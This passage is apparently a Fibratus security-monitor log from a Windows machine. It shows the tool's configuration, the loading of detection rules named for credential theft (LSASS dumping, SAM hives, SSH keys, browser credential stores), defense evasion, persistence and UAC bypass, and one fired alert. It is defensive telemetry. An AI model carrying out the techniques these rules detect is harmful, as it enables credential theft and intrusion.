paths=>[map[namespace: path:]] strings=>[map[namespace: string:]]] skip-files=>false scan-timeout=>10s enabled=>false excluded-procs=>[] skip-allocs=>false skip-mmaps=>false excluded-files=>[] fastscan=>true] source=bootstrap/bootstrap.go:187 +time=2025-12-05T14:49:03+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:270 +time=2025-12-05T14:49:08+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:270 +time=2025-12-05T14:49:57+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-12-05T14:49:57+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:286 +time=2025-12-05T14:49:57+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:286 +time=2025-12-05T14:55:40+01:00 level=info msg=loading macros from file C:\Fibratus\fibratus\rules\macros\macros.yml source=config/filters.go:295 +time=2025-12-05T14:55:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credentail_access_file_access_to_sam_database.yml source=config/filters.go:355 +time=2025-12-05T14:55:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_access_from_backups_via_rundll32.yml source=config/filters.go:355 +time=2025-12-05T14:55:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_discovery_via_vaultcmd.yml source=config/filters.go:355 +time=2025-12-05T14:55:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_access_from_unsigned_executable.yml source=config/filters.go:355 +time=2025-12-05T14:55:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_handle_leak_via_seclogon.yml source=config/filters.go:355 +time=2025-12-05T14:55:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_preparation_via_silent_process_exit.yml source=config/filters.go:355 +time=2025-12-05T14:55:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_minidumpwritedump.yml source=config/filters.go:355 +time=2025-12-05T14:55:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_wer.yml source=config/filters.go:355 +time=2025-12-05T14:55:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dumping.yml source=config/filters.go:355 +time=2025-12-05T14:55:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_process_clone_creation_via_reflection.yml source=config/filters.go:355 +time=2025-12-05T14:55:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_potential_sam_hive_dumping.yml source=config/filters.go:355 +time=2025-12-05T14:55:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_remote_thread_creation_into_lsass.yml source=config/filters.go:355 +time=2025-12-05T14:55:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_active_directory_domain_database.yml source=config/filters.go:355 +time=2025-12-05T14:55:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_unattended_panther_files.yml source=config/filters.go:355 +time=2025-12-05T14:55:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_dpapi_master_keys.yml source=config/filters.go:355 +time=2025-12-05T14:55:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_manager_files.yml source=config/filters.go:355 +time=2025-12-05T14:55:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_vault_files.yml source=config/filters.go:355 +time=2025-12-05T14:55:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_security_package_loaded_by_lsass.yml source=config/filters.go:355 +time=2025-12-05T14:55:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_vault_client_dll_load.yml source=config/filters.go:355 +time=2025-12-05T14:55:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_ssh_keys.yml source=config/filters.go:355 +time=2025-12-05T14:55:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_web_browser_credential_stores.yml source=config/filters.go:355 +time=2025-12-05T14:55:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_windows_credential_history.yml source=config/filters.go:355 +time=2025-12-05T14:55:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_appdomain_manager_injection_via_clr_search_order_hijacking.yml source=config/filters.go:355 +time=2025-12-05T14:55:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_clear_eventlog.yml source=config/filters.go:355 +time=2025-12-05T14:55:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_apc_queue.yml source=config/filters.go:355 +time=2025-12-05T14:55:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_callback_function.yml source=config/filters.go:355 +time=2025-12-05T14:55:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_ldrpkernel32_overwrite.yml source=config/filters.go:355 +time=2025-12-05T14:55:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_copied_binary.yml source=config/filters.go:355 +time=2025-12-05T14:55:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_microsoft_office_dropped_file.yml source=config/filters.go:355 +time=2025-12-05T14:55:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dotnet_assembly_loaded_by_unmanaged_process.yml source=config/filters.go:355 +time=2025-12-05T14:55:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_hidden_registry_key_creation.yml source=config/filters.go:355 +time=2025-12-05T14:55:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_image_load_via_ntfs_transaction.yml source=config/filters.go:355 +time=2025-12-05T14:55:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_injection_via_dotnet_debugging.yml source=config/filters.go:355 +time=2025-12-05T14:55:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_creation_via_shellcode.yml source=config/filters.go:355 +time=2025-12-05T14:55:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_doppelganging_injection.yml source=config/filters.go:355 +time=2025-12-05T14:55:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_hollowing_injection.yml source=config/filters.go:355 +time=2025-12-05T14:55:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_injection_via_tainted_memory_section.yml source=config/filters.go:355 +time=2025-12-05T14:55:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_shellcode_execution_via_etw_logger_thread.yml source=config/filters.go:355 +time=2025-12-05T14:55:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_thread_execution_hijacking.yml source=config/filters.go:355 +time=2025-12-05T14:55:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_execution_from_self_deleting_binary.yml source=config/filters.go:355 +time=2025-12-05T14:55:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_spawned_via_remote_thread.yml source=config/filters.go:355 +time=2025-12-05T14:55:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_regsvr32_scriptlet_execution.yml source=config/filters.go:355 +time=2025-12-05T14:55:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_access_to_the_hosts_file.yml source=config/filters.go:355 +time=2025-12-05T14:55:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_dll_loaded_via_memory_section_mapping.yml source=config/filters.go:355 +time=2025-12-05T14:55:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_html_application_script_execution.yml source=config/filters.go:355 +time=2025-12-05T14:55:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_object_symbolic_link_creation.yml source=config/filters.go:355 +time=2025-12-05T14:55:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_windows_defender_exclusions_registry_modification.yml source=config/filters.go:355 +time=2025-12-05T14:55:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_xsl_script_execution.yml source=config/filters.go:355 +time=2025-12-05T14:55:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_system_binary_proxy_execution_via_rundll32.yml source=config/filters.go:355 +time=2025-12-05T14:55:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_thread_context_set_from_unbacked_memory.yml source=config/filters.go:355 +time=2025-12-05T14:55:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_unsigned_dll_injection_via_remote_thread.yml source=config/filters.go:355 +time=2025-12-05T14:55:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_driver_unloading.yml source=config/filters.go:355 +time=2025-12-05T14:55:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_protection_tampering_via_registry.yml source=config/filters.go:355 +time=2025-12-05T14:55:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_executable_file_creation_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-12-05T14:55:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_execution_via_microsoft_office_process.yml source=config/filters.go:355 +time=2025-12-05T14:55:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_macro_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-12-05T14:55:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-12-05T14:55:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_wmi.yml source=config/filters.go:355 +time=2025-12-05T14:55:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_potential_clickfix_infection_chain_via_run_window.yml source=config/filters.go:355 +time=2025-12-05T14:55:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_process_spawned_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-12-05T14:55:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_dll_loaded_by_microsoft_office_process.yml source=config/filters.go:355 +time=2025-12-05T14:55:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_execution_via_wmi_from_microsoft_office_process.yml source=config/filters.go:355 +time=2025-12-05T14:55:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_microsoft_office_embedded_object.yml source=config/filters.go:355 +time=2025-12-05T14:55:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_executable_file_dropped_by_unsigned_service_dll.yml source=config/filters.go:355 +time=2025-12-05T14:55:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_hidden_local_account_creation.yml source=config/filters.go:355 +time=2025-12-05T14:55:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_network_connection_via_startup_folder_executable_or_script.yml source=config/filters.go:355 +time=2025-12-05T14:55:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_potential_port_monitor_or_print_processor_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-12-05T14:55:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_rid_hijacking.yml source=config/filters.go:355 +time=2025-12-05T14:55:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_script_interpreter_or_untrusted_process_persistence.yml source=config/filters.go:355 +time=2025-12-05T14:55:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_addin_loaded.yml source=config/filters.go:355 +time=2025-12-05T14:55:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_template.yml source=config/filters.go:355 +time=2025-12-05T14:55:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_netsh_helper_dll_execution.yml source=config/filters.go:355 +time=2025-12-05T14:55:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-12-05T14:55:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_port_monitor_loaded.yml source=config/filters.go:355 +time=2025-12-05T14:55:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_print_processor_loaded.yml source=config/filters.go:355 +time=2025-12-05T14:55:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_startup_shell_folder_modification.yml source=config/filters.go:355 +time=2025-12-05T14:55:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_file_written_in_startup_folder.yml source=config/filters.go:355 +time=2025-12-05T14:55:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_process_modified_registry_run_key.yml source=config/filters.go:355 +time=2025-12-05T14:55:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_exploitation_via_common_log_file_system.yml source=config/filters.go:355 +time=2025-12-05T14:55:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_fake_system_root_directory_creation.yml source=config/filters.go:355 +time=2025-12-05T14:55:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_fake_system_root_environment_variable_manipulation.yml source=config/filters.go:355 +time=2025-12-05T14:55:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_deadpotato_exploit.yml source=config/filters.go:355 +time=2025-12-05T14:55:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_elevated_ifileoperation_com_interface.yml source=config/filters.go:355 +time=2025-12-05T14:55:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_phantom_dll_hijacking.yml source=config/filters.go:355 +time=2025-12-05T14:55:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_assembly_native_image_cache_hijack.yml source=config/filters.go:355 +time=2025-12-05T14:55:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_cdssync_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-12-05T14:55:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_command_handler_hijacking.yml source=config/filters.go:355 +time=2025-12-05T14:55:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_control_panel_applet_execution_hijack.yml source=config/filters.go:355 +time=2025-12-05T14:55:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_diskcleanup_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-12-05T14:55:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dll_hijack_from_windows_media_player_directory.yml source=config/filters.go:355 +time=2025-12-05T14:55:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dotnet_code_profiler_dll_hijack.yml source=config/filters.go:355 +time=2025-12-05T14:55:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_elevated_internet_explorer_add-on_installer_com_interface.yml source=config/filters.go:355 +time=2025-12-05T14:55:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_icmluautil_com_interface.yml source=config/filters.go:355 +time=2025-12-05T14:55:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_ntfs_junction_dll_hijacking.yml source=config/filters.go:355 +time=2025-12-05T14:55:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_program_compatibility_assistant_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-12-05T14:55:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_requesttrace_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-12-05T14:55:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_rouge_mmc_snap-in.yml source=config/filters.go:355 +time=2025-12-05T14:55:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_trusted_windows_directory_masquerading.yml source=config/filters.go:355 +time=2025-12-05T14:55:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_dropped.yml source=config/filters.go:355 +time=2025-12-05T14:55:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_loaded.yml source=config/filters.go:355 +time=2025-12-05T14:55:40+01:00 level=info msg=rules compile summary: + HasProcEvents: true + HasThreadEvents: true + HasImageEvents: true + HasFileEvents: true + HasRegistryEvents: true + HasNetworkEvents: true + HasHandleEvents: true + HasMemEvents: false + HasVAMapEvents: true + HasAuditAPIEvents: true + HasDNSEvents: false + HasThreadpoolEvents: false + Events: Accept, Connect, CreateFile, CreateHandle, CreateProcess, CreateSymbolicLinkObject, CreateThread, DeleteFile, LoadImage, MapViewFile, OpenProcess, OpenThread, Recv, RegCreateKey, RegOpenKey, RegSetValue, Send, SetFileInformation, SetThreadContext, UnloadImage, UnmapViewFile source=bootstrap/bootstrap.go:152 +time=2025-12-05T14:55:40+01:00 level=info msg=bootstrapping with pid 4636. Version: dev source=bootstrap/bootstrap.go:186 +time=2025-12-05T14:55:40+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-timeout=>4s flush-period=>500ms] + alertsenders ................... [ systray=>[ sound=>true quiet-mode=>false enabled=>false] eventlog=>[ verbose=>true enabled=>true] mail=>[ content-type=>text/html to=>[] port=>25 enabled=>false use-template=>true] slack=>[ enabled=>false]] + api ............................ [ timeout=>5s transport=>localhost:8482] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enabled=>true enable-direct-syscall=>true] + event .......................... [ serialize-envs=>true serialize-threads=>false serialize-pe=>false serialize-images=>false serialize-handles=>false] + eventsource .................... [ enable-net=>true enable-fileio=>true enable-handle=>false max-buffers=>36 buffer-size=>512 enable-vamap=>true enable-thread=>true enable-image=>true enable-registry=>true enable-dns=>false enable-threadpool=>false enable-audit-api=>true enable-mem=>false min-buffers=>16 blacklist=>[ events=>[CloseFile RegCloseKey] images=>[]] stack-enrichment=>true flush-interval=>1s] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ match-all=>true rules=>[ from-urls=>[] enabled=>true from-paths=>[C:\Fibratus\fibratus\rules\*.yml]] macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]]] + forward ........................ false + handle ......................... [ enumerate-handles=>false init-snapshot=>false] + logging ........................ [ max-size=>100 log-stdout=>true max-age=>0 level=>info formatter=>text max-backups=>15] + output ......................... [ http=>[ serializer=>json enable-gzip=>false enabled=>false method=>POST tls-insecure-skip-verify=>false endpoints=>[] timeout=>5s] elasticsearch=>[ template-name=>fibratus enabled=>false bulk-workers=>1 servers=>[http://127.0.0.1:9200] gzip-compression=>false healthcheck=>true healthcheck-interval=>10s healthcheck-timeout=>5s sniff=>false flush-period=>1s timeout=>5s index-name=>fibratus trace-log=>false] amqp=>[ enabled=>false tls-insecure-skip-verify=>false routing-key=>fibratus exchange=>fibratus vhost=>/ timeout=>5s durable=>false passive=>false exchange-type=>topic delivery-mode=>transient url=>amqp://localhost:5672] eventlog=>[ enabled=>false level=>info] console=>[ enabled=>true format=>pretty template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} - {{ .Cmd }} +]] + pe ............................. [ read-sections=>false enabled=>false excluded-images=>[svchost.exe] read-symbols=>false read-resources=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ trim=>[ enabled=>false] rename=>[ enabled=>false] tags=>[ enabled=>false] replace=>[ enabled=>false] remove=>[ params=>[] enabled=>false]] + yara ........................... [ fastscan=>true skip-registry=>false skip-files=>false skip-allocs=>false scan-timeout=>10s rule=>[ strings=>[map[namespace: string:]] paths=>[map[namespace: path:]]] excluded-procs=>[] excluded-files=>[] enabled=>false skip-mmaps=>false] source=bootstrap/bootstrap.go:187 +time=2025-12-05T14:55:40+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:270 +time=2025-12-05T14:55:43+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:270 +time=2025-12-05T14:56:03+01:00 level=info msg=sending alert: [UAC bypass via NTFS junction DLL hijacking]. Text: Event(s): source=action/alert.go:37 +time=2025-12-05T14:57:10+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-12-05T14:57:10+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:286 +time=2025-12-05T14:57:10+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:286 +time=2025-12-05T14:57:23+01:00 level=info msg=loading macros from file C:\Fibratus\fibratus\rules\macros\macros.yml source=config/filters.go:295 +time=2025-12-05T14:57:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credentail_access_file_access_to_sam_database.yml source=config/filters.go:355 +time=2025-12-05T14:57:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_access_from_backups_via_rundll32.yml source=config/filters.go:355 +time=2025-12-05T14:57:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_discovery_via_vaultcmd.yml source=config/filters.go:355 +time=2025-12-05T14:57:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_access_from_unsigned_executable.yml source=config/filters.go:355 +time=2025-12-05T14:57:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_handle_leak_via_seclogon.yml source=config/filters.go:355 +time=2025-12-05T14:57:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_preparation_via_silent_process_exit.yml source=config/filters.go:355 +time=2025-12-05T14:57:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_minidumpwritedump.yml source=config/filters.go:355 +time=2025-12-05T14:57:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_wer.yml source=config/filters.go:355 +time=2025-12-05T14:57:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dumping.yml source=config/filters.go:355 +time=2025-12-05T14:57:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_process_clone_creation_via_reflection.yml source=config/filters.go:355 +time=2025-12-05T14:57:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_potential_sam_hive_dumping.yml source=config/filters.go:355 +time=2025-12-05T14:57:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_remote_thread_creation_into_lsass.yml source=config/filters.go:355 +time=2025-12-05T14:57:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_active_directory_domain_database.yml source=config/filters.go:355 +time=2025-12-05T14:57:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_unattended_panther_files.yml source=config/filters.go:355 +time=2025-12-05T14:57:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_dpapi_master_keys.yml source=config/filters.go:355 +time=2025-12-05T14:57:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_manager_files.yml source=config/filters.go:355 +time=2025-12-05T14:57:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_vault_files.yml source=config/filters.go:355 +time=2025-12-05T14:57:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_security_package_loaded_by_lsass.yml source=config/filters.go:355 +time=2025-12-05T14:57:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_vault_client_dll_load.yml source=config/filters.go:355 +time=2025-12-05T14:57:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_ssh_keys.yml source=config/filters.go:355 +time=2025-12-05T14:57:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_web_browser_credential_stores.yml source=config/filters.go:355 +time=2025-12-05T14:57:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_windows_credential_history.yml source=config/filters.go:355 +time=2025-12-05T14:57:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_appdomain_manager_injection_via_clr_search_order_hijacking.yml source=config/filters.go:355 +time=2025-12-05T14:57:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_clear_eventlog.yml source=config/filters.go:355 +time=2025-12-05T14:57:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_apc_queue.yml source=config/filters.go:355 +time=2025-12-05T14:57:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_callback_function.yml source=config/filters.go:355 +time=2025-12-05T14:57:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_ldrpkernel32_overwrite.yml source=config/filters.go:355 +time=2025-12-05T14:57:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_copied_binary.yml source=config/filters.go:355 +time=2025-12-05T14:57:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_microsoft_office_dropped_file.yml source=config/filters.go:355 +time=2025-12-05T14:57:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dotnet_assembly_loaded_by_unmanaged_process.yml source=config/filters.go:355 +time=2025-12-05T14:57:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_hidden_registry_key_creation.yml source=config/filters.go:355 +time=2025-12-05T14:57:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_image_load_via_ntfs_transaction.yml source=config/filters.go:355 +time=2025-12-05T14:57:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_injection_via_dotnet_debugging.yml source=config/filters.go:355 +time=2025-12-05T14:57:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_creation_via_shellcode.yml source=config/filters.go:355 +time=2025-12-05T14:57:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_doppelganging_injection.yml source=config/filters.go:355 +time=2025-12-05T14:57:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_hollowing_injection.yml source=config/filters.go:355 +time=2025-12-05T14:57:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_injection_via_tainted_memory_section.yml source=config/filters.go:355 +time=2025-12-05T14:57:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_shellcode_execution_via_etw_logger_thread.yml source=config/filters.go:355 +time=2025-12-05T14:57:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_thread_execution_hijacking.yml source=config/filters.go:355 +time=2025-12-05T14:57:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_execution_from_self_deleting_binary.yml source=config/filters.go:355 +time=2025-12-05T14:57:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_spawned_via_remote_thread.yml source=config/filters.go:355 +time=2025-12-05T14:57:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_regsvr32_scriptlet_execution.yml source=config/filters.go:355 +time=2025-12-05T14:57:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_access_to_the_hosts_file.yml source=config/filters.go:355 +time=2025-12-05T14:57:23+01:00 level=info msg=loading rule from 